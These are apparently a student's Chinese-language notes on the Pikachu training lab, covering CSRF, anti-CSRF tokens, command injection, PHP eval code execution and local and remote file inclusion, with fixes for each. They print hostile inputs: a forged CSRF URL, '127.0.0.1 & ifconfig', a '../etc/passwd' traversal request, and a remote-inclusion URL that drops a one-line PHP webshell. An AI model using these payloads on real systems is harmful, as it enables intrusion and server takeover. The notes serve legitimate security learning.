【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等

通过csrf(get)进行地址修改实验演示

先登陆一下
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第1张图片
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第2张图片
修改地址 submit即可修改
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第3张图片
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第4张图片
如何确认此处是否存在CSRF漏洞
首先这是一个敏感信息修改,其次看下burp数据包
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=shenyang&email=lucy%40pikachu.com&submit=submit

get请求向后台发送了所有的信息 并没有CSRF的token,所以后台并没有做防CSRF的措施,同时又是通过get请求提交的,很据小黑的想法,小黑只需要拿到链接(自己注册一个账号,登陆,改一下自己的地址,就能拿到链接)
拿到链接之后 把这个请求通过邮件等方式发给lucy

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第5张图片

用url试一下
攻击者伪造的链接
把链接发送给lucy,lucy访问的一瞬间,他的浏览器以他当前的登录态去向后台发送请求,请求带着我们伪造的地址结果
http: //127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=一个神奇的国度&email=lucy%40pikachu.com&submit=submit
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第6张图片

lucy刷新之前自己的页面 发现也变了。

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第7张图片

如果是post型
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第8张图片

修改自己的信息
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第9张图片
看下抓包
通过post请求,没法再用url去伪造了
自己布一个站点,在站点上做一个表单,让lucy去点击我们恶意站点上的表单,通过表单的url去向传参的CSRF漏洞页面去提交post请求
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第10张图片

自己测试一下 方法参照xss

token详解及常见防范措施

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第11张图片

eg:
请求页面时,后台会去查一下 session里面有没有这个token,如果有的话就先把他销毁,然后生成一个新的token赋值到session里面去。这样就实现了,当你每次刷新页面时,都会生成一个新的token。放到session的目的是下次进行请求时进行对比,把token放到session里面去也会埋到页面里去。
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第12张图片

案例演示:
先登陆一下
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第13张图片

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第14张图片

修改一下信息 看下抓包

GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=12345678922&add=dalian&email=lucy%40pikachu.com&token=893125cb82108a75d4567231328&submit=submit HTTP/1.1

这个token就是用来防CSRF的,因为每次请求token都会发生变化,
token=893125cb82108a75d4567231328

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第15张图片

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第16张图片

后端生成token之后前端是怎么拿到token以及怎么提交给后端进行验证的

看下控制台

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第17张图片

看下控制台源码,看下这个表单,每次点击修改个人信息 都会去访问 token_get_edit_.php 这个文件,这个文件就会生成一个token,
value就是后端发过来的,type是隐藏的额,在前端看不到,但是在源码中能看到。每次点提交,token也会被提交到后台,后台会对token进行验证,如果和当前session里面的token相等,才会让你提交。

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第18张图片

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第19张图片
防范措施
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第20张图片

远程命令、代码执行漏洞原理及案例演示
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第21张图片
测一下
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第22张图片
用127.0.0.1 试一下
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第23张图片
试一下 127.0.0.1 & ifconfig
当他执行完 ping 127.0.0.1 之后再去执行ifconfig
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第24张图片
emmmm我没ping出来。。。看看视频

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第25张图片

说明后端没有进行严格处理,除了可以提交IP地址以外还可以用拼接的符号来让他执行其他的命令。

看下后端代码
首先通过post请求获取到对应的IP地址,会先判断下操作系统的类型,如果是windows系统,就直接ping一下这个IP地址,如果是非windows系统,就ping -c 执行4个数据包

都是直接先进行ping 没有对传进来的ip地址进行处理,没有验证ip地址是否合理,所以导致攻击者可以拼接相应的符号来让输入变成两条或多条命令被操作系统执行。
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第26张图片

看下远程代码执行漏洞
随便输入一个

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第27张图片

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第28张图片

输入一个php代码试一下
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第29张图片
我们输入的php代码被后端执行了,然后把相应的结果返回到了前端。
这块就是一个远程代码执行漏洞。
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第30张图片
看下代码
把用户提交的请求 用eval去执行,如果报错,就返回“你喜欢的字符还挺奇怪的”
如果没有报错,就不会进入if 里面去,会执行代码,前端会返回相应的结果。

造成远程代码执行的原因:对用户输入进来的内容没有进行任何的处理,然后又用了eval这种比较危险的函数去执行。
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第31张图片
我们在写代码的时候一定要对前端输入进来的内容进行过滤和处理。

文件包含原理及本地文件包含漏洞案例演示
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第32张图片
文件包含漏洞概述
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第33张图片

文件包含漏洞攻击topo

本地文件包含:
网站后台使用包含方法对目标文件进行包含,同时包含函数包含的目标问文件是可以被前端的用户所控制的,当前端用户传进来一个其他文件,如果在入口没有对传进来的文件做任何的控制的话,就意味着包含函数可以去把用户传进来的其他文件也包含掉,就会出现问题。比如说对系统的配置文件进行包含从而暴漏配置文件信息。
攻击者通过传入一些后端服务器上过滤的配置文件,让包含函数去执行,从而导致服务器后台的一些本地的文件被意外地执行,或者本地的其他配置文件被暴漏出去。

在php里面,包含函数除了能够包含本地的php文件以外,还可以用来去包含远程的php文件。比如通过指定的url去读取远程的php文件,然后把他加载到本地去执行,如果相关的远程功能是打开的话,问题会更加严重,意味着攻击者可以在自己的恶意站点上去写一个php文件,传入到后台,让后台去调用恶意站点上的php代码到本地去执行。

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第34张图片

文件包含漏洞:包含函数

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第35张图片

本地文件包含漏洞演示

选择球员
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第36张图片

看一下请求
实际上是传了一个文件名到后台,后台会对指定的目标文件做对应的操作,这些文件都是后台自己存在的,由于文件名是前端传到后台的,意味着前端的测试人员可以去修改这个文件,
http: //127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=提交
常用的测试方法:把这个文件改成后台固定的配置文件,猜测一下他后台时linux系统,linux里面有很多固定的配置文件,
改成
http: //127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../../../../../../etc/passwd&submit=提交
最终会跳到根目录下去,相当于直接把 这个路径…/…/…/…/…/…/…/…/…/etc/passwd 指定的文件传到后台然后被后台的方法给处理了,然后把对应的配置文件暴漏了出来,
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第37张图片

看下后台代码
获取到前端提交过来的文件名之后通过include方法对他进行包含,用户可以改这个文件,后端又没有做任何的处理,导致了对应的漏洞。
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第38张图片
我们在写代码的时候,在前端传用户名的时候就应该做一些相应的限制,比如白名单限制。

远程文件包含漏洞案例讲解和演示

本地和远程文件包含漏洞都是开发人员在后台使用包含函数的时候没有对包含的目的地进行相关的安全措施导致前端传进来的目标地址被直接包含进去了,在本地文件包含漏洞中,传进来的只能是本地的文件,可以利用特殊配置允许包含函数通过一些协议去远程访问远程站点上的代码文件,然后包含到本地来执行,默认情况 include和 require是不支持远程包含文件的,我们需要通过配置允许他去远程调用文件。

【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第39张图片
攻击者可以自己搭站点,然后在上面放代码,这个代码攻击者自己可以控制,再把这个路径通过前端传到后台,后台的包含函数就会对这个远程路径下的文件去进行加载。
我们在远端写一个一句话木马,然后让本地去执行,意味着我们直接把一句话木马放到了目标站点上。

远程文件包含漏洞演示:
提交的是一个目标文件的路径,我们把他改成一个远端的路径,让他去读取我们远程的文件。
在这里插入图片描述
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第40张图片

搭了一个恶意站点
在本地打开一个文件,然后新建一个 yijuhua.php文件,然后把他的内容fwrite这个文件里面去,然后close。意味着一旦代码被执行,就会在本地生成一个yijuhua.php文件,里面的内容就是一个system函数,接收一个远端的get请求传过来的x参数的值
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第41张图片
改路径
http ?/127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/yijuhua.txt&submit=%E6%8F%90%E4%BA%A4

由于我没搭恶意站点,所以并不好使。。。
看视频
提交之后页面没有任何反馈
后台服务器上多了个yijuhua.php
【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等_第42张图片

改下路径 我们传进去的ifconfig被system函数执行了,然后把对应的结果返回出来了。
我们可以通过 x 这个接口来控制服务器。
在这里插入图片描述

你可能感兴趣的:(【第九周】通过csrf(get)进行地址修改实验演示、token详解及常见防范措施、远程命令、代码执行漏洞原理及案例演示 等等)